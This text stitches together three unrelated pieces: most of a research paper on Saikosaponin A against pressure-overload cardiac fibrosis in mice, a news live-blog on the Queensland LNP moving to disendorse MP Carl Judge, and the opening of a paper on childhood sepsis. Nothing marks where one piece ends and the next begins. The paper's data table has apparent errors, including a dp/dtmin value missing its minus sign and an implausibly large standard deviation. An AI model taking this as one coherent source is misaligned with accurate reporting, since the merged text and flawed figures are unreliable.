During the pathological process of various cardiovascular diseases, the sources of activated fibroblasts include the presence of fibroblasts, vascular origin cells, hematopoietic cells and pericytes[@B6]. Of these cells, cardiac endothelial cells undergoing endothelial-mesenchymal transition (EndMT) have been shown to contribute 27\~33% of all cardiac fibroblasts following pressure-overload[@B7]. During the EndMT process, endothelial cells lose polarity and expression of intercellular adhesion complexes, such as CD31 and E-Cadherin, but activate the expression of additional mesenchymal genes and proteins, such as α-SMA, collagen I and III, and vimentin[@B8]. Inhibition of EndMT/EMT is a promising target for clinical therapeutic applications in cardiac fibrosis[@B9], [@B10]; thus, drugs targeting EndMT may become a new strategy for the treatment of cardiac fibrosis.
Saikosaponin A (SSA) is a triterpenoid saponin isolated from Radix Bupleuri (Rb). At present, SSA has been reported to have many pharmacological activities, such as anti-inflammatory and antioxidant effects. During activation of hepatic stellate cells, SSA was reported to regulate the expression of bone morphogenetic protein 4 (BMP-4)[@B11]. In the chemical-induced liver inflammation and fibrosis rat model, SSA was also reported to exert protective effects[@B12]. Moreover, in human umbilical vein endothelial cells, SSA inhibited oxidative stress and inflammation by suppressing TLR4 translocation into lipid rafts[@B13]. These data suggest a protective effect of SSA on tissue fibrosis as well as on endothelial cells. Thus, we suppose SSA would exert some extension of these effects on cardiac fibrosis. In this study, aortic banding surgery was used to establish the mouse cardiac fibrosis model. The effects of SSA on cardiac fibrosis as well as the effect of SSA on fibroblast and endothelial cells were investigated.
Materials and Methods
=====================
Materials
---------
National Institutes for Food and Drug Control (Beijing, China) supplied the Saikosaponin A. Antibodies specific for GAPDH, TGFβ, smad2, smad3, smad4, Wnt, β-catenin, GSK3β and laminin B came from Cell Signaling Technology (Beverly, MA). Antibodies including VE-cadherin, CD31, α-SMA and vimentin came from Abcam (Cambridge, CB4 0FL, UK). SRI-011381 and WAY-262611 were purchased from MechemExpress (Monmouth Junction, NJ 08852, USA).
Animal and Animal models
------------------------
We followed the Guide for the Care and Use of Laboratory Animals, which was published by the US National Institutes of Health (NIH Publication No. 85-23, revised 1996). The Animal Care and Use Committee of The First Affiliated Hospital of Zhengzhou University approved our experiment. The Institute of Laboratory Animal Science, CAMS& PUMC (Beijing, China) supplied us with male C57BL/6 mice that were 8-10 weeks old. The animals were randomly assigned to four groups: a. sham surgery group; b. vehicle-aortic banding (AB) group; c. SSA-low dosage (LD)-AB group (intraperitoneal injection, 5 mg/kg/d) after 2 weeks of AB for 28 consecutive days. d. SSA-high dosage (HD)-AB group (intraperitoneal injection, 40 mg/kg/d) after 2 weeks of AB for 28 consecutive days.
Echocardiography and Hemodynamics
---------------------------------
Echocardiography was performed as described in a previous study with MyLab 30CV ultrasound (Biosound Esaote, Genoa, Italy) and a 10-MHz linear array ultrasound transducer[@B10]. Hemodynamics were measured with a microtip catheter transducer (SPR-839; Millar Instruments, Houston, TX) as described in a previous study[@B10]. The PVAN data analysis software was used to process data.
Histology and Immunofluorescence
--------------------------------
HE and PSR staining were performed according to the protocol in our previous study[@B10]. For immunofluorescence, the antigen was heated by pressure cooker, incubated with anti-CD31 and alpha-SMA, and then incubated with goat anti-mouse / rabbit secondary antibody. DAPI was used to stain nuclear material and prevent fading.
RT-PCR and Western blot
-----------------------
RNA and RT-PCR were performed according to the protocol in our previous study [@B10]. A LightCycler 480 SYBR Green 1 Master Mix (Roche, 04707516001) was used for amplification prior to PCR. GAPDH gene expression was used as a reference.
Western blotting was performed according to the protocol in our previous study [@B10]. Protein samples were separated with SDS electrophoresis and transferred to immobilon-FL transfer membranes (IPFL00010, Millipore, Billerica, MA). After blocking with 5% milk, membranes were incubated with primary antibodies. Goat anti-rabbit (LI-COR) IgG or anti-mouse IgG (LI-COR) were used. A two-color infrared imaging system (Odyssey, LI-COR, Lincoln, NE) was used to scan the blots.
Cell culture
------------
### Neonatal rat cardiomyocytes (NRCMs)
NRCMs were isolated according to the protocol in our previous study[@B14]. Briefly, 1- to 3-day-old Sprague-Dawley rat hearts were harvested. Ventricles were digested four times for fifteen min each in 0.125% trypsin-EDTA in PBS. Following centrifugation, cells were resuspended and incubated for 90 min in a 100-mm dish to allow noncardiac myocytes (mainly cardiac fibroblasts) to adhere to the plastic. After culture with 1% bromodeoxyuridine for 48 h, NRCMs were treated with AngII (1 μM) for 24 h and then with SSA (1, 3, 10, 30, 50 μM) for 12 h.
### Mouse adult CF culture
Mouse adult CFs were isolated according to the protocol in our previous study [@B15]. Briefly, 0.125% trypsin and collagenase were used to digest the left ventricles from 8-week-old mice. DMEM/F12 medium containing 10% FBS was used to suspend and culture adult CFs. Ninety minutes after attachment, the attached CFs were cultured and passaged. Cells were cultured in serum-free DMEM/F12 for 8 h and then stimulated with TGFβ1 (10 ng/ml) for 24 h. SSA (1, 3, 10, 30 and 50 μM) was applied for another 12 h. To activate TGFβ/smad signaling, after culturing with TGFβ1 for 24 h, the cells were treated with SSA (30 μM) and SRI-011381 (10 μM) for another 12 h.
### Primary mouse heart EC (MHEC) culture
MHECs were isolated as described in the previous study [@B16]. Briefly, mouse hearts were cut in Hanks\' balanced salt solution buffer. Collagenase A was used to digest the heart tissue, and 10% FBS-DMEM was used to stop digestion. After filtering with a nylon mesh (70-mm pores), cells were resuspended in Hanks\' solution. CD31 beads were used to bind ECs. ECs were then washed and cultured in dishes precoated with 2% gelatin (Sigma, Oakville, ON, Canada) in endothelial basal medium with 10% FBS. MHECs were starved for 12 h and then cultured with TGFβ1 (10 ng/ml) for 24 h. SSA (1, 3, 10, 30 and 50 μM) was applied for another 12 h. To activate Wnt/β-catenin signaling, after culture with TGFβ1 for 24 h, cells were treated with SSA (1 μM) and WAY-262611(1 μM) for another 12 h.
Cell viability detection
------------------------
The MTT assay was used to detect cell viability. Briefly, after treatment, cells were incubated with MTT (5 mg/ml) at 37°C for 4 h. Following additional incubation with dimethyl sulfoxide, an ELISA reader was used to measure absorbance at 495 nm.
Immunofluorescence
------------------
After being washed with PBS and fixed in 4% polyoxymethylene, cells were permeabilized with 0.1% Triton X-100 (Amresco). The following primary antibodies were used to stain the cells: anti-actin (in NRCMs), anti-α-SMA (in fibroblasts), or anti-CD31 and vimentin (in MHECs). After incubation with Goat anti-Mouse/Rabbit IRdye 800CW secondary antibody for 60 min, cells were cultured with DAPI to stain nuclear material and prevent fading.
Statistical analysis
--------------------
All data are expressed as the mean ± standard deviation (SD). The differences between groups were evaluated by one-way ANOVA and post-tests. Student\'s unpaired t test was used to compare differences between the two groups. P \< 0.05 had statistical significance.
Results
=======
The effects of SSA on cardiac hypertrophy *in vivo*
---------------------------------------------------
Six weeks after surgery, severe cardiac hypertrophy was observed in vehicle-treated mice with increased HW/BW, HW/TL, LW/BW, and LW/TL ratios, increased cell surface area (CSA), and increased transcription of hypertrophy markers. The extent of cardiac hypertrophy in both the LD and HD SSA-treated mice showed no significant difference from that in the vehicle-treated mice since the extent of HW/BW, HW/TL, LW/BW, LW/TL, and CSA was the same for all three groups (Fig. [1](#F1){ref-type="fig"}A-F). The transcription levels of ANP and BNP, but not β type-MHC and α type-MHC, were reduced by both LD and HD SSA treatment (Fig. [1](#F1){ref-type="fig"}G-J). These data indicate that SSA exerted a limited effect on cardiac hypertrophy.
The effects of SSA on cardiac fibrosis *in vivo*
------------------------------------------------
The perivascular and interstitial fibrosis levels were increased in vehicle-treated AB mice compared with the sham group. Both LD and HD SSA decreased perivascular and interstitial fibrosis levels as well as LV collagen volume compared with those of the vehicle-treated mice (Fig. [2](#F2){ref-type="fig"}A, B). Moreover, the increased expression level of fibrosis markers was reduced by both LD and HD SSA treatment (Fig. [2](#F2){ref-type="fig"}C-G). These data suggest that SSA affected cardiac fibrosis.
The effects of SSA on cardiac function
--------------------------------------
Cardiac dysfunction is the basic characteristic of heart failure. Thus, echocardiography and hemodynamics measurement were used to evaluate cardiac function. Increased ventricular wall thickness (increased IVSd, LVPWd), dilatation (increased LVEDd, LVESd) and systolic (decreased EF, FS, dp/dtmax, dp/dtmin) and diastolic dysfunction (increased Tau value) were observed in vehicle-treated mice after 6 weeks of AB. Both LD and HD SSA treatment did not change the increased ventricular wall thickness but did ameliorate the ventricular dilatation (decreased LVEDd, LVESd) and improved systolic (increased EF, FS, dp/dtmax, dp/dtmin) and diastolic function (decreased Tau value)(Table [1](#T1){ref-type="table"}). Collectively, our results suggest that SSA protects against cardiac fibrosis and improves cardiac function.
The effects of SSA on AngII-induced cardiomyocyte hypertrophy in NRCMs
----------------------------------------------------------------------
To determine the effect of SSA on cell types, NRCMs were stimulated with AngII to induce cardiomyocyte hypertrophy. Cell viability in the 1\~30 μM SSA groups revealed no significant difference from the control group, though the 50 µM group did differ (Fig. [3](#F3){ref-type="fig"}A). Thus, we chose 1 and 30 μM SSA for further study. AngII induced deteriorated hypertrophy as assessed by the increase in CSA and increased transcription levels of hypertrophic markers. Nevertheless, none of the concentrations of SSA could attenuate AngII-induced increased CSA and transcription of β-MHC (Fig. [3](#F3){ref-type="fig"}B, C, E). However, both 1 and 30 μM SSA attenuated the transcription of ANP (Fig. [3](#F3){ref-type="fig"}D).
SSA relieves TGFβ1-induced fibroblast activation and function in adult mouse CFs
--------------------------------------------------------------------------------
To determine whether SSA directly affected CFs to protect against cardiac fibrosis, CFs were isolated and cultured with TGFβ1 and then treated with SSA (1, 3, 10, 30 and 50 μM). Different concentrations of SSA did not affect cell viability except for 50 μM SSA (Fig. [4](#F4){ref-type="fig"}A). Thus, 1, 3, 10 and 30 μM SSA were used. TGFβ1 induced remarkable proliferation of CFs, but only 10 and 30 μM SSA decreased TGFβ1-induced cell proliferation (Fig. [4](#F4){ref-type="fig"}B). Increased expression of α-SMA and transcription of collagen I, collagen III, and CTGF were observed in CFs after TGFβ1 stimulation, suggesting a myofibroblast transition and function after TGFβ1 stimulation. Treatment with 10 and 30 μM SSA, but not 1 and 3 μM SSA, inhibited CF transition and function (Fig. [4](#F4){ref-type="fig"}C-F).
SSA suppresses TGFβ1-induced EndMT in MHECs
-------------------------------------------
EndMT is an important source of CFs in the pressure overload induced cardiac fibrosis model. Thus, we investigated whether SSA affected EndMT in endothelial cells. MHECs were isolated and cultured with TGFβ1 and then treated with SSA (1, 3, 10, 30 and 50 μM). Different concentrations of SSA did not affect cell viability except 50 μM SSA (Fig. [5](#F5){ref-type="fig"}A). Thus, 1, 3, 10, 30 μM SSA were used. TGFβ1 induced remarkable EndMT in MHECs as assessed by increased CF markers (α-SMA and vimentin) and decreased endothelial cell markers (VE-cadherin and CD31), as well as increased transcription levels of EndMT markers (snail1, snail2, twist1, and twist2). Interestingly, only low concentrations (1 and 3 μM), but not higher concentrations (10 and 30 μM), of SSA ameliorated the increased EndMT induced by TGFβ1 as evidenced by decreased CF markers and increased endothelial cell markers and decreased transcription levels of EndMT markers (Fig. [5](#F5){ref-type="fig"}B-H).
SSA attenuates EndMT *in vivo*
------------------------------
To confirm the influence of SSA on EndMT *in vivo,* EndMT markers were evaluated in mouse hearts after 6 weeks of AB. Increased EndMT was observed in vehicle-treated mouse hearts with increased CF markers (α-SMA and vimentin) and decreased endothelial cell markers (VE-cadherin and CD31) (Fig. [6](#F6){ref-type="fig"}A, B), as well as increased transcription levels of EndMT markers (snail1, snail2, twist1, and twist2) (Fig. [6](#F6){ref-type="fig"}D). Consistent with the *in vitro* study, only LD SSA treatment attenuated these EndMT transitions in mouse hearts (Fig. [6](#F6){ref-type="fig"}A-D). These data indicate that different concentrations of SSA may target different cell types to protect against cardiac fibrosis.
The effects of SSA on TGFβ/smad and Wnt/β-catenin pathway
---------------------------------------------------------
To evaluate the protective effects of SSA on CFs and MHECs, the associated signaling pathways were screened by western blot. As a result, 30 μM SSA treatments decreased the phosphorylation level of smad2, smad3 and nuclear expression levels of smad4, while 1 μM SSA treatment did not affect this pathway (Fig. [7](#F7){ref-type="fig"}A, B). In MHECs, 1 μM SSA treatment decreased the expression of Wnt, β-catenin, the phosphorylation level of GSK3β as well as the nuclear expression of β-catenin; 30 μM SSA treatments did not affect this pathway (Fig. [7](#F7){ref-type="fig"}C, D).
The effects of smad activator on fibroblast activation and function in CFs or Wnt activator on EndMT in MHECs
-------------------------------------------------------------------------------------------------------------
To confirm the effect of SSA on smad signaling in CFs, CFs were stimulated with TGFβ1 and then treated with 30 μM SSA and SRI-011381. The Smad activator SRI-011381 eliminated the protective effects of high concentrations of SSA on CFs as shown by the same expression levels of α-SMA, collagen I and collagen III in the TGFβ group and the TGFβ +SSA+SRI-011381 group (Fig. [8](#F8){ref-type="fig"}A-C). To confirm the effect of SSA on Wnt/β-catenin signaling in MHECs, MHECs were stimulated with TGFβ1 and then treated with 1 μM SSA and WAY-262611. The Wnt activator WAY-262611 eliminated the protective effects of low concentrations of SSA on EndMT in MHECs as shown by the same expression levels of increased vimentin, snail1 and snail2 and decreased expression levels of VE-cadherin in the TGFβ group and the TGFβ +SSA+ WAY-262611 group (Fig. [8](#F8){ref-type="fig"}D-F).
Discussion
==========
In this study, we found that SSA alleviated long-term stress overload in cardiac dysfunction and cardiac fibrosis. Supplementation with high-dose SSA can block the transformation of CFs to MFs, inhibit the proliferation and activation of fibroblasts induced by TGF-beta, and inhibit collagen secretion. Supplementation with low dosages of SSA blocked the EndMT process in TGF-β-treated MHECs and pressure overload-induced heart remodeling. High dosages of SSA inhibited phosphorylation and activation of Smad signaling in CFs. Smad activators can make these protective effects vanish. We also found that low doses of SSA inhibited the activation of Wnt/ β-catenin signaling in MHECs, while the protective effect of LD SSA was eliminated by a Wnt/β-catenin activator. Therefore, our current research finds that SSA is a new therapeutic agent for cardiac fibrosis.
More and more evidence indicates that SSA may play a role in cardiac remodeling due to its pleiotropic biological activity, including powerful antioxidant and anti-inflammatory effects[@B17], [@B18]. SSA protects lung tissue against inflammation induced by cigarette smoke by inhibiting NF-kappa B and upregulating Nrf2 and HO-1 expression[@B17]. By activating LXRα, SSA protects human osteoarthritis chondrocytes from injury induced by IL-1β[@B19]. However, our study shows that the protective effect of SSA on cardiac fibrosis is not related to these factors. The antifibrosis effect of SSA does not depend on cardiomyocytes because we show negative results in the NRCM experiments.
ECM derived from CFs provides the structural scaffold for cardiomyocytes in heart tissue[@B6]. However, during various pathologies, increased ECM enhanced ventricular stiffness and can lead to cardiac dysfunction[@B5]. In addition, excessive ECM and fibroblasts damage the electromechanical coupling of CMS, thereby reducing the risk of cardiac contractions and increasing the occurrence and mortality of arrhythmias[@B20]. Herein, we found that a higher dosage of SSA prevented against cardiac fibrosis via directly inhibiting CFs activation and function. The TGF-beta growth factor family may be the most extensively activated mediator of fibroblasts, and TGF-beta 1 may play the most important role in pathological fibrosis[@B21]. The signal transduction pathway of TGF-beta 1 includes the phosphorylation of Smad 2/3, and the binding of Smad2 and Smad4 leads to the migration of Smad4 to the nucleus[@B21]. The complex acts as a transcription factor to induce the activation of many fibroblast genes[@B22]. In this setting, we found that the effect of the higher dosage of SSA on CF activation and function was dependent on the inhibition of TGFβ/smad signaling since a smad activator eliminated the protective effects of SSA on CFs.
Evidence implicating EndMT in cardiac fibrosis has been mounting for several years[@B8]. In a landmark publication in 2007, Kalluri and co-workers demonstrated that EndMT makes a significant contribution to myocardial fibrosis in the adult heart[@B7]. Many findings suggest that the inhibition of EndMT/EMT may be a promising target for clinical therapeutic applications in cases of cardiac fibrosis[@B9], [@B10]. In this study, we found that lower dosages of SSA, but not higher ones, could inhibit TGFβ1-induced EndMT both *in vitro* and *in vivo*. Wnt/β-catenin plays a major causal role in EndMT in endothelial cells[@B7]. Under inactivation, cytoplasmic β-catenin is bound to APC, Axin and GSK3β, leading to the phosphorylation, ubiquitination and decomposition of β-catenin. The binding of Wnt to its receptor Frizzled and LRP inhibited the degradation of the complex and induced the signal transduction of β-catenin[@B23]. Binding of nuclear β-catenin to members of the transcription factor TCF/LEF family promotes EndMT[@B24]. Studies have found that by downregulating AXIN2, TGFβ activation primes canonical Wnt signaling in fibroblasts[@B25]. In our study, we found that in endothelial cells, TGFβ1 induced activation of the Wnt/β-catenin pathway. Lower dosages of SSA did not affect smad signaling (data not given) but inhibited the Wnt/β-catenin pathway. These anti-EndMT effects of lower dosages of SSA were dependent on inhibition of the Wnt/β-catenin pathway since a β-catenin activator eliminated the protective effects of SSA on MHECs.
The target of SSA in cardiac fibrosis was unclear. Studies have reported that SSA stimulates bone marrow stromal cells to differentiate into osteoblasts by activating the Wnt/β-catenin pathway[@B18]. However, in our study, lower dosages of SSA inhibited EndMT in heart endothelial cells by blocking the Wnt/β-catenin pathway. These results suggested diverse effects of SSA on different cell types at different dosages. Further studies are needed to determine why different dosages of SSA exert different effects on diverse cell types.
In conclusion, this study shows that supplementation with SSA reduces cardiac dysfunction and inhibits cardiac fibrosis after prolonged stress overload *in vivo*. The beneficial effects of SSA on cardiac fibrosis may be attributed to its inhibition of TGFβ/Smad signaling in CFs when using higher dosage treatment and inhibition of the Wnt/β-catenin signaling in endothelial cells when using lower dosage treatment.
This work was supported by grants from the National Natural Science Foundation of China (No: 81600189, 81600191) and the Scientific and Technological Project of Henan province (NO: 172102310531 and 182102310495).
Authors\' contributions
=======================
Yuan Liu, Lina Li, and Haibo Yang contributed to the conception and design of the experiments; Yuan Liu, Lu Gao, Xiaoyan Zhao and Sen Guo carried out the experiments; Yuzhou Liu, Ran Li and Cui Liang analyzed the experimental results. Ling Li, Jianzeng Dong and Lina Li revised the manuscript; Lina Li and Yuan Liu wrote and revised the manuscript.
AngII
: angiotensin II
ANP
: atrial natriuretic peptide
α-SMA
: alpha-smooth muscle actin
BMP-4
: bone morphogenetic protein 4
BNP
: brain natriuretic peptide
BW
: body weight
CFs
: cardiac fibroblasts
CTGF
: connective tissue growth factor
dp/dtmax
: maximum descending rate of left ventricular pressure
dp/dtmin
: minimum descending rate of left ventricular pressure
ECM
: extracellular matrix
ECs
: endothelial cells
EF
: ejection fraction
EndMT
: endothelium-mesenchymal transition
FS
: fractional shortening
HE
: hematoxylin and eosin
HW
: heart weight
IVSd
: interventricular septal end diastolic dimension
LV
: left ventricular
LVEDd
: left ventricular end-diastolic dimension
LVESd
: left ventricular end-systolic dimension
LVPWd
: left ventricular end diastolic posterior wall dimension
LW
: lung weight
MHC
: myosin heavy chain
MHECs
: mouse heart endothelial cells
PSR
: PicroSirius red
SSA
: Saikosaponin A
TGFβ
: transforming growth factor β
TL
: tibia length.
{#F1}
{#F2}
{#F3}
{#F4}
{#F5}
{#F6}
{#F7}
{#F8}
######
Echocardiography and hemodynamics measurement data for different groups after 6 weeks of AB.
---------------------------------------------------------------------------------
Sham\ Vehicle-AB\ LD-AB\ HD-AB\
(n=15) (n=15) (n=15) (n=15)
----------------------- ----------- ------------- --------------- ---------------
**HR (bpm)** 465±6.4 457±11 463±10 470±11
**IVSd (mm)** 0.64±0.01 0.84±0.01\* 0.85±0.01\* 0.86±0.01\*
**LVPWd (mm)** 0.67±0.03 0.87±0.01\* 0.86±0.01\* 0.86±0.01\*
**EF (%)** 65.2±0.77 36.7±0.53\* 52.3±0.88^\#^ 53.8±0.69^\#^
**LVEDd (mm)** 3.51±0.04 4.31±0.03\* 3.95±0.02^\#^ 3.93±0.03^\#^
**LVEDs (mm)** 2.18±0.03 2.84±0.03\* 2.55±0.03^\#^ 2.49±0.02^\#^
**FS (%)** 41.0±0.60 28.1±0.62\* 31.6±0.41^\#^ 33.6±0.82^\#^
**dp/dtmax (mmHg/s)** 10241±230 6426±153\* 8040±149^\#^ 7804±2443^\#^
**dp/dtmin (mmHg/s)** -9316±213 -6704±135\* -7455±214^\#^ 7576±120^\#^
**Tau (Weiss; ms)** 8.77±0.34 17.1±1.56\* 10.6±0.34^\#^ 11.6±0.94^\#^
---------------------------------------------------------------------------------
HR, heart rate; IVSd, interventricular septal thickness at diastole; LVPWd, left ventricular posterior wall thickness at end-diastole; LVEDd, left ventricular end-diastolic diameter; LVESd, left ventricular end-systolic diameter; EF, left ventricular ejection fraction; FS, fractional shortening; dp/dtmax, maximal rate of pressure development; dp/dtmin, maximal rate of pressure decay; Tau, time constant of LV pressure decay \*P\<0.05 for difference from sham group. \#P\<0.05 vs vehicle-AB group.
[^1]: Competing Interests: The authors have declared that no competing interest exists.
|
AFTER an emergency meeting was called this evening, the LNP party room has voted to ask State President Bruce McIver to consider Yeerongpilly MP Carl Judge's disendorsement.
8.17pm: "I was hopeful a resolution would be achieved," Mr Judge said.
"Clearly they are seeking to have me expelled.
"I would have liked to have had the opportunity to address the party room."
8.10pm: Mr Judge said he was committed to the LNP despite the decision and would await the party's final call.
"Campbell Newman and Jeff Seeney run the parliamentary wing... They certainly don't run the party," he said.
Mr Judge said he had sought a meeting with the Premier before the party room meeting but was denied one.
He called on Mr Seeney to substantiate the allegations against him and afford him natural justice.
8.05pm: Yeerongpilly MP Carl Judge is expected to call a press conference soon after the LNP party room voted to recommend his disendorsement during an emergency meeting earlier this evening.
7.30pm: "There was a whole range of behavior we found unacceptable," Deputy Premier Jeff Seeney said.
"The team has decided to take action."
He said the party would ask State President Bruce McIver to consider Mr Judge's disendorsement.
Mr Seeney said the party room had voted "without dissent" on a motion asking Mr McIver to take action against the Yeerongpilly MP.
"We don't believe the member for Yeerongpilly... any longer deserves the endorsement of the LNP in that position."
Mr Seeney said the party room did not have the power to expel him.
"All the party room can do is exclude him from our ranks," he said.
As for Gaven MP Alex Douglas' fate, Mr Seeney said he was confident he and Premier Campbell Newman would come to a resolution.
"They are both experienced politicians and I think they will settle their differences tonight," Mr Seeney said.
Mr Newman, Mr Douglas and several other MPs remain locked in a meeting tonight, attempting to resolve those issues.
Mr Douglas said he was still a member of the LNP and would "probably die one".
6.40pm: LNP MPs had called an emergency party room meeting this evening amid speculation rogue backbenchers Carl Judge and Alex Douglas could be punted from the party.
Water Minister Mark McArdle, asked as he entered the meeting if the two should go, answered only "Yes" before closing the door.
Dr Douglas also entered the meeting, saying only: "I'll always be an LNP MP."
Mr Newman said their membership was: "A matter for the party room".
But Howard Hobbs, who some had speculated could follow former colleague Ray Hopper and defect to Katter's Australian Party, said: "The LNP's a great party to be with", adding "My word" when asked if he wanted to stick with the Newman team.
- additional reporting by Steven Scott, Robyn Ironside, Koren Helbig
EARLIER, sidelined Gold Coast MP Alex Douglas planned to stay put in the LNP if he is allowed to, despite being kicked off another committee for speaking out against the government.
The Member for Gaven today demanded to be reinstated to the Ethics Committee and sought a retraction of comments made by Manager of Government Business Ray Stevens, regarding his honesty and integrity.
The pair attacked each other on radio this morning, over events leading up to his removal from the Ethics Committee.
In parliament, Premier Campbell Newman said he was disappointed to hear two members of his government at loggerheads on radio, but he believed Mr Stevens over Dr Douglas, who was also discharged from the Legal Affairs Committee.
Mr Newman told parliament Dr Douglas had assured him - in a meeting with witnesses on Tuesday - that he was happy with the move.
Mr Newman attacked the integrity of his MP and said it was right that he be stripped of his new committee role.
"Perhaps that speaks volumes about why there does need to be a change, because if you don't have the integrity to tell the truth about a meeting with the leader of your party ... then perhaps you shouldn't be doing that job," the premier said.
He said that during Tuesday's meeting, he told Dr Douglas: "Alex, there will be no move if you are unhappy."
The premier said the MP replied: "I'm perfectly happy to do this and move."
After Question Time, Dr Douglas said he planned to remain in the LNP but conceded he could face similar treatment to Carl Judge who has been banned from the LNP party room, for disloyalty.
"The normal sorts of procedures to be banned, would require a vote of the party room and it would have to be very strongly supported," he said.
Manager of Government Business Ray Stevens told Parliament moments after today's sitting started, that Dr Douglas would be discharged as chairman of the Legal Affairs Committee, and Ian Berry appointed in his place.
Independent Peter Wellington spoke against the motion, saying it was a "get square" by the government because it had the numbers to do so.
A division was called and the motion was passed with all LNP MPs voting in favour, and the Opposition, Katter Australian Party and Mr Wellington voting against.
Wavering MP Carl Judge was not in the chamber.
The move is a significant blow to Dr Douglas who also lost his place on the Parliamentary Crime and Misconduct Committee yesterday.
It effectively means a $21,000 pay cut.
Mr Berry is the Member for Ipswich, a seat he holds with a four per cent margin.
Earlier, Mr Judge criticised the removal of Ethics Committee chairman Alex Douglas, comparing the treatment to that of his own at the hands of the LNP.
Three days after Mr Judge was locked out of the LNP party room for not publicly declaring his allegiance to the Premier, he is still to make up his mind whether to remain with the party, or leave.
He said he expected to announce a decision tomorrow, but it was proving very difficult.
"If I need a bit longer, I'll take a bit more time. It's a difficult decision to make," said Mr Judge.
"There's no reverse gear on this."
In relation to the removal of Dr Douglas from the Ethics and Parliamentary Crime and Misconduct Committees, Mr Judge said it was "not the approach he would've taken to deal with somebody".
"We all operate differently. That's the course of action they've taken, so be it," he said.
"I'm sure it's been upsetting for Dr Douglas, likewise when I was approached by the Deputy Premier and (Manager of Government Business) Ray Stevens, I wasn't impressed with their manner.
"We didn't have a cup of tea, put it that way. There could've been another approach taken."
Responding to the events of the last few days, Opposition leader Annastacia Palaszczuk said there was "something rotten" in the State of Queensland.
"I believe Alex Douglas to be a very ethical man, a man of integrity, a man who understands the nature of handling an Ethics and PCMC committee," she said.
"There's a lot of explaining at needs to happen today not only by the Premier but also by the Leader of the House.
"I am very concerned that we have very serious matters before the Ethics Committee and why now has Alex Douglas been pushed aside."
This morning, it was reported that axed Ethics Committee chairman Alex Douglas would demand to be immediately reinstated to his post in a personal statement to the parliament.
Dr Douglas said he had received new information about the reasons for his removal - which he did not request, despite Premier Campbell Newman telling the Parliament he had.
“I’m very very uncomfortable with what the Premier said in parliament yesterday,” said Dr Douglas.
Asked if he believed the Premier had misled the house, he said “people will make up their own minds about that”.
Campbell Newman told Parliament, he understood Dr Douglas had indicated he wanted a change from the Ethics Committee and the Parliamentary Crime and Misconduct Committee.
Mr Newman said if he had not wanted to change, he did not have to.
Dr Douglas said he was only told shortly before parliament sat of the decision, and he had not got the full details of why he was moved at that time.
“I am now aware of other things that have transpired and these things give me great concern as the exiting chairman of the Ethics Committee,” he said.
“You don’t go and change the chairman. You only change the chairman if you’re trying to set a different type of agenda, and if you haven’t told the chairman it beholds the chairman to take action.
“I’m not trying to build myself up. There’s something very, very odd about what has occurred.”
But Manager of Government Business Ray Stevens described the ongoing dramatics in Parliament as "cheap show business".
Mr Stevens claimed Dr Douglas was being "loose with the truth" and insisted he was happy with the changes.
He told ABC Radio, he reported his conversation to the Premier which led to his statement to parliament that Dr Douglas had asked for the change.
"Alex likes to talk on the media regularly and we found out later he was unhappy, he has been very unhappy about not being on Cabinet," Mr Stevens said.
He went on to say if he was disgruntled, he should resign from his new post as chairman of the Legal Affairs and Community Safety Committee.
Mr Stevens insisted the appointment only came about because of the defection of Ray Hopper from the LNP to the Katter Australian Party.
Dr Douglas has suggested other motivations were in play to move him out of the powerful Ethics Committee which was in the process of investigating accusations Transport and Main Roads' Director-General Michael Caltabiano misinformed an Estimates hearing about his work history. '
The Ethics Committee had just suspended a number of inquiries into matters relating to Mr Caltabiano.
Yesterday the government claimed the reasons for the change was because of the defection of Ray Hopper to the Katter Australian Party.
Mining magnate Clive Palmer, who threw in his Liberal National Party life membership last week after a long-running war of words with government, says the premier should resign for misleading parliament.
"The premier has no alternative but to resign for misleading parliament and the good people of Queensland over this grubby affair," he said in a statement on Wednesday.
Mr Palmer has also called for Katter's Australian Party's Queensland leader Rob Katter and Labor leader Annastacia Palaszczuk to refer Mr Newman to the ethics committee.
Meanwhile, the divisions within Campbell Newman's Government have sparked concerns in the Coalition ranks in Canberra.
One senior figure has told the Premier he needs to better manage the renegades in his parliamentary team.
Despite public assurances from Tony Abbott that he was not worried about the threats of more defections, one of Mr Abbott's closest allies said Mr Newman needed to learn from the way Mr Abbott managed outspoken federal MPs and Senators such as Alby Schultz, Bill Heffernan and Barnaby Joyce.
"You've got to manage people, keep them on side," the senior source said. "If you can't manage them, all people see is bits and pieces falling off the machine."
Senior federal members of the Liberal National Party said they feared the fallout damaging their merged party's brand and one warned that "they could blow it apart".
"They have got to get their sh*t together. This is amateur hour stuff," the source said.
"It's not just Campbell, it's the whole leadership team."
The anonymous attack from very senior levels reflects a growing anxiety in the federal party about being tarnished by the infighting within the state LNP.
It is designed to send a message to the State Government of anger from within the federal Coalition, the source said.
But another senior federal Coalition figure defended Mr Newman, saying "only one defection" was insignificant given the size of his back bench.
The same person said Clive Palmer should wear the blame for the turmoil.
Some in the Coalition are warning they need to view Bob Katter as more of a threat than Labor and have predicted his party could win a Senate seat from either one of the main parties at next year's election.
Mr Abbott has avoided commenting on the fallout in the LNP, saying it is "a matter for the party in Queensland".
He has publicly denied suggestions the LNP is "falling apart" and laughed off suggestions the threatened defections were hurting the party.
"If we get the kind of election result that Campbell Newman got in Queensland, I'd be a very happy man," Mr Abbott said on Monday.
- additional reporting by Steven Scott, Robyn Ironside, Koren Helbig
Originally published as LNP asks party to disendorse 'rogue' MP |
Background
==========
Sepsis or bacteraemia requiring hospital admission is rare, however it is a significant cause of high mortality and serious complications such as septic shock and multi organ dysfunction syndrome \[[@B1]-[@B3]\]. Currently, little data is available about the causal factors of sepsis or bacteraemia in children in the population. The available studies in this field deal particularly with adults or with children belonging to high-risk groups such as neonates and those who are immunocompromized due to HIV infection and children with underlying malignancies \[[@B4]-[@B7]\]. The few studies which have been performed on sepsis or bacteraemia in children from the general population are case series \[[@B8]-[@B10]\] or deal with specific causative bacterial agents \[[@B1],[@B11]-[@B13]\].
Three previous studies of which only one performed in children reported that from the identifiable primary focus in patients with sepsis or bacteraemia most often (22--37%) an infection of the skin was detected \[[@B1],[@B2],[@B12]\]. Children suffering from atopic dermatitis are chronic carriers of *Staphylococcus Aureus*and run therefore a higher risk to develop sepsis or bacteraemia \[[@B9],[@B14]\]. Skin infections are almost always curable, but some may lead to serious complications such as nephritis, carditis, arthritis and sepsis if the diagnosis is delayed and/or treatment is inadequate \[[@B15]\].
